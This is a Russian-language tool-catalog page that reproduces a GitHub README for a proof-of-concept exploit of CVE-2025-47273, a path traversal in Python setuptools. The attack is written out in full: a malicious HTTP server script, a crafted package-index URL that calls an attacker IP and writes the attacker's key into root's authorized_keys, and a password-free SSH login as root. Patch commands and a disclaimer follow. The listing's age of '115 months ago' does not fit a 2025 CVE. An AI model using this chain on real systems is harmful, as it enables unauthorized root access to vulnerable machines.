Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-47273-POC — CVE-2025-47273 — PoC обхода пути в setuptools | Kitploit
Инструменты/GitHubGitHub/alielkhatteb/cve-2025-47273-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеБезопасность Цепочки ПоставокОбучение и Образование
GitHubalielkhatteb/cve-2025-47273-poc

CVE-2025-47273-POC

CVE-2025-47273 — PoC обхода пути в setuptools

Репозиторий
115 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

setuptools Обход пути CVE-2025-47273

📖 Обзор

Эксплойт (PoC) для уязвимости обхода пути в Python setuptools < 78.1.1.

Злоупотребляя функцией _download_url компонента PackageIndex, атакующий может записать произвольные файлы в любое место файловой системы — с привилегиями процесса, запускающего setuptools.


🎯 Краткое описание уязвимости

ПолеДетали
🎯 ЦельPython setuptools < 78.1.1
🐛 Класс ошибкиОбход пути (CWE-22)
💥 ВоздействиеПроизвольная запись файлов
📍 Вектор атакиВредоносный URL индекса пакетов
🔍 Коренная причинаos.path.join() отбрасывает tmpdir, когда второй аргумент начинается с /

📋 Предварительные требования

  • Python 3 на обеих машинах
  • Пара ключей SSH уже сгенерирована на атакующем (~/.ssh/id_rsa + id_rsa.pub)
  • Целевой скрипт вызывает setuptools PackageIndex с управляемым пользователем URL

🚀 Использование

🔧 Шаг 1 — Подготовьте свой открытый ключ SSH (машина атакующего)

root@kitploit:~
# Copy your public key to the current directory to serve it
cp ~/.ssh/id_rsa.pub authorized_keys

📡 Шаг 2 — Запустите вредоносный HTTP-сервер (машина атакующего)

Этот сервер отвечает на любой GET-запрос вашим открытым ключом — независимо от пути. setuptools запросит путь /USER/.ssh/authorized_keys, но получит содержимое вашего ключа.

root@kitploit:~
cat > python_server.py << 'EOF'
import http.server
import socketserver

class Handler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        # Serve authorized_keys regardless of path requested
        self.send_response(200)
        self.end_headers()
        with open("authorized_keys", "rb") as f:
            self.wfile.write(f.read())

with socketserver.TCPServer(("", 80), Handler) as httpd:
    httpd.serve_forever()
EOF

python3 python_server.py

💥 Шаг 3 — Запустите обход пути (машина жертвы)

root@kitploit:~
ATTACKER_IP="192.168.1.20"
TARGET_USER="root"

sudo python3 /path/to/vulnerable_script.py \
  "http://${ATTACKER_IP}/%2f${TARGET_USER}%2f.ssh%2fauthorized_keys#egg=evil-1.0"

👾 Шаг 4 — Войдите как root (машина атакующего)

root@kitploit:~
ssh root@VICTIM_IP

Без пароля. Прямой root shell. 🔑


🔒 Исправление

Версия 78.1.1 исправляет проблему.

Менеджер пакетовКоманда
🐍 pippip install --upgrade setuptools
🐧 Debian/Ubuntusudo apt upgrade python3-setuptools
🎩 RHEL/Fedorasudo dnf upgrade python3-setuptools
🏗️ Вручнуюsetuptools releases

📎 Ссылки

  • 🔗 NVD — CVE-2025-47273

  • 🔗 GitHub Advisory — GHSA-5rjg-fvgr-3xxf

  • 🔗 Коммит с исправлением setuptools

  • 🔗 setuptools PoC


⚖️ Отказ от ответственности и условия

Данный код Proof of Concept (PoC) предоставляется только для образовательных целей и авторизованного тестирования на проникновение.

  • Не предоставляется разрешение на изменение, распространение или использование этого кода для любых других целей.
  • Несанкционированное использование или изменение может быть незаконным и неэтичным.
  • Авторы не несут ответственности за любое неправомерное использование или ущерб.
Скачать инструмент